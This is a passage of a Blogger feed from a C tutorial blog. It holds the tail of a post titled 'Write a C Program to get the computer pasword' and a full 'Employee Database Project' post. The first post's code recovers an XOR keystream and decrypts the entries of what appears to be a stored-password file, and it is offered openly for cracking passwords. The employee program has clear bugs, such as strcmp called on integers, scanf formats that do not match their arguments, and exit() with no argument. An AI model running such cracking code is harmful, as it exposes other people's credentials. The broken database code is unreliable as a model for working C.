/&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;								&lt;/span&gt;Rall[Data[i]]++;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;								&lt;/span&gt;if(Data[i]&amp;gt;maxr)maxr=Data[i];&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;divisible by 16 */&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/*Search after resources */&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&lt;maxr;i++){&lt; font=""&gt;&lt;/maxr;i++){&lt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;/* Find the size of current resourse */&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;pos=Rpoint[i];&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;rsz=Data[pos]+(Data[pos+1]&amp;lt;&amp;lt;8);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;rsz^=sizemask;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;printf("Analysing block with size:%04x&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;(%d:%d)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;",rsz,i,Rall[i]);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;if((Rall[i]==0)&amp;amp;&amp;amp;(rsz!=0)){&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;								&lt;/span&gt;printf("Unused resourse has nonzero size!!!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;");&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;								&lt;/span&gt;printf("If last line produed any:You may try to recover&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;");&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;								&lt;/span&gt;printf("Press y to attempt the recovery&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;");&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;								&lt;/span&gt;ch=getch();&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;								&lt;/span&gt;if(ch!='y')exit(0);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;								&lt;/span&gt;rsz=2;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;								&lt;/span&gt;i=i-1;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;pos=pos+rsz;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;/* Resourse have a tedency to have the wrong size for some reason*/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;/* Chech for correct size*/&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;if(i&lt;maxr-1){&lt; font=""&gt;&lt;/maxr-1){&lt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;								&lt;/span&gt;while(Data[pos+3]!=keystream[1]){&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;														&lt;/span&gt;printf(":",Data[pos+3]);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;														&lt;/span&gt;pos=pos+2; /* Very rude may fail */&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;								&lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;pos+=2; /* Include pointer in size */&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;Rpoint[i+1]=pos;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;Rpoint[maxr]=size;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/* Insert Table data into keystream*/&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;=maxr;i++){&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;					&lt;/span&gt;keystream[20+2*i]^=Rpoint[i] &amp;amp; 0x00ff;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;					&lt;/span&gt;keystream[21+2*i]^=(Rpoint[i]&amp;gt;&amp;gt;8) &amp;amp; 0x00ff;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;cracked+=maxr*2+2;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("%d Bytes of ketstream recoverd&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;",cracked);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;/* Decrypt resources */&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&lt;maxr;i++){&lt; font=""&gt;&lt;/maxr;i++){&lt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;							&lt;/span&gt;rsz=Rpoint[i+1]-Rpoint[i];&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;							&lt;/span&gt;if(rsz&amp;gt;cracked)rsz=cracked;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;							&lt;/span&gt;printf("Resource[%d](%d)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;",i,rsz);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;							&lt;/span&gt;for(j=0;j&lt;rsz;j++)&lt; font=""&gt;&lt;/rsz;j++)&lt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;							&lt;/span&gt;printf("%c",Data[Rpoint[i]+j]^keystream[j]);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;							&lt;/span&gt;printf("&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;");&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;exit(0);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6326576353358144414?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6326576353358144414/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/write-c-program-to-get-computer-pasword.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6326576353358144414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6326576353358144414'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/write-c-program-to-get-computer-pasword.html' title='Write a C Program to get the computer pasword'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-1802474510748409600</id><published>2011-03-20T19:58:00.000-07:00</published><updated>2011-03-20T19:58:33.900-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mini Project'/><title type='text'>Employee Database Project Using C.</title><content type='html'>#include "stdio.h"&lt;br /&gt;&lt;br /&gt;typedef struct Employee&lt;br /&gt;{&lt;br /&gt;char fname[20];&lt;br /&gt;char lname[20];&lt;br /&gt;char sub_taken[20];&lt;br /&gt;char last_edu[20];&lt;br /&gt;char join_date[20];&lt;br /&gt;int id;&lt;br /&gt;int age;&lt;br /&gt;float bsal;&lt;br /&gt;}Employee;&lt;br /&gt;&lt;br /&gt;int main(void)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;int id;&lt;br /&gt;FILE *fp,*ft;&lt;br /&gt;char another,choice;&lt;br /&gt;Employee emp;&lt;br /&gt;char fname[20];&lt;br /&gt;char lname[20];&lt;br /&gt;long int recsize;&lt;br /&gt;&lt;br /&gt;fp=fopen("EMP.DAT","rb+");&lt;br /&gt;if(fp==NULL)&lt;br /&gt;{&lt;br /&gt;fp=fopen( "EMP.DAT","wb+");&lt;br /&gt;if(fp==NULL)&lt;br /&gt;{&lt;br /&gt;printf("&lt;br /&gt;Can't Open File");&lt;br /&gt;exit();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;recsize=sizeof(emp);&lt;br /&gt;while(1)&lt;br /&gt;{&lt;br /&gt;printf("&lt;br /&gt;1.Add Records &lt;br /&gt;2.Delete Records &lt;br /&gt;3.Modify Records &lt;br /&gt;&lt;br /&gt;4.List&lt;br /&gt;Records &lt;br /&gt;5.Exit");&lt;br /&gt;printf("&lt;br /&gt;&lt;br /&gt;Enter your choice");&lt;br /&gt;fflush(stdin);&lt;br /&gt;scanf("%c",&amp;amp;choice);&lt;br /&gt;switch(choice)&lt;br /&gt;{&lt;br /&gt;case'1':&lt;br /&gt;fseek(fp,0,SEEK_END);&lt;br /&gt;another='Y';&lt;br /&gt;while(another=='Y'|| another=='y')&lt;br /&gt;{&lt;br /&gt;printf("Enter the first name,last name,age and basic salary : ");&lt;br /&gt;scanf("%s %d %f",emp.fname,&amp;amp;emp.age,&amp;amp;emp.bsal);&lt;br /&gt;printf("&lt;br /&gt;Enter joining date,id,last education,subject taken");&lt;br /&gt;scanf("%s %d %s %s",emp.join_date,&amp;amp;emp.id,emp.last_edu,&lt;br /&gt;emp.sub_taken);&lt;br /&gt;fwrite(&amp;amp;emp,recsize,1,fp);&lt;br /&gt;printf("&lt;br /&gt;Add another Record (Y/N): ");&lt;br /&gt;fflush(stdin);&lt;br /&gt;another=getchar();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;break;&lt;br /&gt;case '2':&lt;br /&gt;another='Y';&lt;br /&gt;while(another=='Y'|| another=='y')&lt;br /&gt;{&lt;br /&gt;printf("&lt;br /&gt;Enter the id of the employee to be deleted : ");&lt;br /&gt;scanf("%d",&amp;amp;id);&lt;br /&gt;ft=fopen("TEMP.DAT","wb");&lt;br /&gt;rewind(fp);&lt;br /&gt;while(fread(&amp;amp;emp,recsize,1,fp)==1)&lt;br /&gt;{&lt;br /&gt;if(strcmp(emp.id,id)!=0)&lt;br /&gt;fwrite(&amp;amp;emp,recsize,1,ft);&lt;br /&gt;}&lt;br /&gt;fclose(fp);&lt;br /&gt;fclose(ft);&lt;br /&gt;remove("EMP.DAT");&lt;br /&gt;rename("TEMP.DAT","EMP.DAT");&lt;br /&gt;fp=fopen("EMP.DAT","rb+");&lt;br /&gt;printf("Delete another Record(Y/N): ");&lt;br /&gt;fflush(stdin);&lt;br /&gt;another=getchar();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;break;&lt;br /&gt;case '3':&lt;br /&gt;another='Y';&lt;br /&gt;while(another=='Y'|| another=='y')&lt;br /&gt;{&lt;br /&gt;printf("&lt;br /&gt;Enter name of employee to modify : ");&lt;br /&gt;scanf("%s",emp.fname);&lt;br /&gt;rewind(fp);&lt;br /&gt;while(fread(&amp;amp;emp,recsize,1,fp)==1)&lt;br /&gt;{&lt;br /&gt;if(strcmp(emp.id,id)==0)&lt;br /&gt;{&lt;br /&gt;printf("&lt;br /&gt;Enter new fname,new lname,age,basic&lt;br /&gt;salary,joining_date,subject taken and last education : ");&lt;br /&gt;&lt;br /&gt;scanf("%s%s%d%f%s%s%s",emp.fname,emp.lname,&amp;amp;emp.age,&amp;amp;emp.bsal,emp.join_dat&lt;br /&gt;e,emp.sub_taken,emp.last_edu);&lt;br /&gt;fseek(fp,-recsize,SEEK_CUR);&lt;br /&gt;fwrite(&amp;amp;emp,recsize,1,fp);&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;printf("&lt;br /&gt;Want to Modify another record(Y/N): ");&lt;br /&gt;fflush(stdin);&lt;br /&gt;another=getchar();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;break;&lt;br /&gt;&lt;br /&gt;case '4':&lt;br /&gt;&lt;br /&gt;rewind(fp);&lt;br /&gt;while(fread(&amp;amp;emp,recsize,1,fp)==1)&lt;br /&gt;printf("&lt;br /&gt;%s %s %d&lt;br /&gt;%g",emp.fname,emp.lname,emp.age,emp.bsal,emp.join_date,emp.last_edu,emp.su&lt;br /&gt;b_taken);&lt;br /&gt;break;&lt;br /&gt;&lt;br /&gt;case '5':&lt;br /&gt;fclose(fp);&lt;br /&gt;exit();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-1802474510748409600?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/1802474510748409600/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/employee-database-project-using-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1802474510748409600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1802474510748409600'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/employee-database-project-using-c.html' title='Employee Database Project Using C.'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 